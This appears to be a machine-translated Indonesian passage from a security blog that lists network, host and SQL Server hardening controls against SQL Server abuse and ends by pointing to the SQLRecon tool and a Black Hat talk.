Untuk mencegah penyerang menyalahgunakan SQL Server, pembela dapat mengambil pendekatan berlapis saat menerapkan kontrol keamanan. Pertama dan terpenting, saya sangat menyarankan untuk membaca panduan resmi Microsoft tentang praktik terbaik keamanan SQL Server.

Perhentian berikutnya adalah panduan pencegahan, deteksi, dan mitigasi dalamSQLRecon  wiki, yang memiliki beberapa pertimbangan pertahanan yang sangat baik. Saya telah memilih beberapa kontrol yang lebih penting untuk diterapkan dan mencantumkannya di bawah ini.

Kontrol keamanan berikut harus dipertimbangkan untuk implementasi di tingkat jaringan.

• Pastikan bahwa rute jaringan ke SQL Server telah diperhitungkan dan dibatasi hanya untuk sekumpulan sistem resmi, atau subnet. Workstation jarang memerlukan kemampuan untuk berkomunikasi langsung dengan SQL Server. Pertimbangkan untuk memblokir akses ke TCP 1433 jika memungkinkan.
• Verifikasi bahwa alat pencatatan dan alat pemantauan jaringan menangkap SQL Query yang melintasi batas. Tidak biasa bagi workstation untuk mengirim SQL Query ke SQL server.

workstation dan server di lingkungan.

• Memvalidasi bahwa kontrol keamanan berbasis host, seperti Deteksi dan respons titik akhir diaktifkan dan bahwa tanda tangan produk sepenuhnya diperbarui secara teratur.
• Pembela harus memastikan bahwa kerangka kerja .NET v4.8 diinstal pada titik akhir Windows dan bahwa produk keamanan berbasis host apa pun yang digunakan mendukung AMSI untuk .NET. Hal ini memungkinkan pemindaian rakitan.NET dalam memori.
• Mengaktifkan atau mengonfigurasi solusi daftar izin aplikasi untuk mencegah biner yang tidak ditandatangani, seperti SQLRecon , dari dieksekusi langsung pada titik akhir.

• Pastikan bahwa pedoman pengerasan telah diikuti pada sistem operasi Windows Server yang mendasarinya. Pertimbangkan hanya menginstal komponen SQL basis data yang diperlukan.
• Pastikan SQL Server tercakup dalam kebijakan manajemen patch organisasi dan patch secara rutin diterapkan terhadap layanan SQL dan server SQL.
• Pertimbangkan untuk membatasi atau menghapus BUILTIN\Users  akun dari otentikasi terhadap instance SQL Server.
• Ikuti prinsip hak istimewa paling sedikit saat mengonfigurasi peran pada akun pengguna. Prinsip ini juga harus diterapkan pada akun layanan yang memulai SQL Server.
• Hapus asosiasi nama utama layanan SQL yang tidak perlu.
• Gunakan kata sandi yang kuat untuk akun lokal apa pun, seperti sa  akun.
• Log, menyerap, dan audit peristiwa logon SQL Server secara terpusat. Netwrix telah menulis blog yang bagus tentang bagaimana hal ini dapat dicapai.
• Mengenkripsi konten sensitif. Ini melindungi kumpulan data agar tidak terekspos, bahkan jika SQL Server dikompromikan.
• Mengevaluasi tautan antara SQL Server dan menentukan jenis autentikasi yang mengikat tautan. Jika memungkinkan, pilih untuk menggunakan konteks keamanan autentikasi saat ini, daripada menggunakan konteks sa  akun.
• Evaluasi setiap peniruan yang telah dikonfigurasi dan tentukan persyaratannya.
• Jika menggunakan SQL database, pastikan Microsoft Advanced Threat Protection diaktifkan dan dikonfigurasi untuk mengirim peringatan.

Serangan terhadap SQL Server terus relevan dalam lingkungan keamanan siber saat ini. Para pelaku ancaman terus mengembangkan teknik mereka untuk menghindari kontrol pertahanan, dan dalam prosesnya, mereka semakin sering mengeksploitasi layanan pendukung seperti SQL Server. Serangan ini telah menjadi lebih canggih dan lebih tersembunyi, sering menggunakan teknik yang kurang umum untuk melewati langkah-langkah keamanan tradisional.

Dengan menyalahgunakan SQL Server, musuh dapat memperoleh akses tidak sah ke data sensitif, memanipulasi basis data, dan bahkan membahayakan seluruh sistem. Konsekuensi dari serangan tersebut bisa parah, mengakibatkan pelanggaran data, kerugian finansial, dan kerusakan reputasi organisasi.

Untuk mengurangi risiko serangan ini, sangat penting bagi organisasi untuk melakukan ulasan konfigurasi SQL Server mereka dan mengadopsi praktik terbaik untuk keamanan. Selain itu, organisasi harus berinvestasi dalam solusi keamanan yang menyediakan pemantauan real-time, deteksi anomali, dan kemampuan analisis perilaku. Solusi ini dapat membantu deteksi dan menanggapi serangan dengan lebih efektif, meminimalkan dampak potensial pada data penting dan sistem. Dengan mengambil langkah-langkah proaktif untuk mengamankan lingkungan SQL Server, organisasi dapat secara signifikan mengurangi risiko menjadi korban serangan ini dan melindungi aset data berharga mereka.

Anda selalu dapat menemukan versi stabil terbaru SQLRecon  pada halaman Github X-Force Red.

Jika Anda menghadiri Black Hat Las Vegas dan tertarik untuk mempelajari lebih lanjut, Anda dapat menghadiri sesi saya: Menyalahgunakan Microsoft SQL Server dengan SQLRecon pada hari Kamis, 10 Agustus pukul 1.00 PT.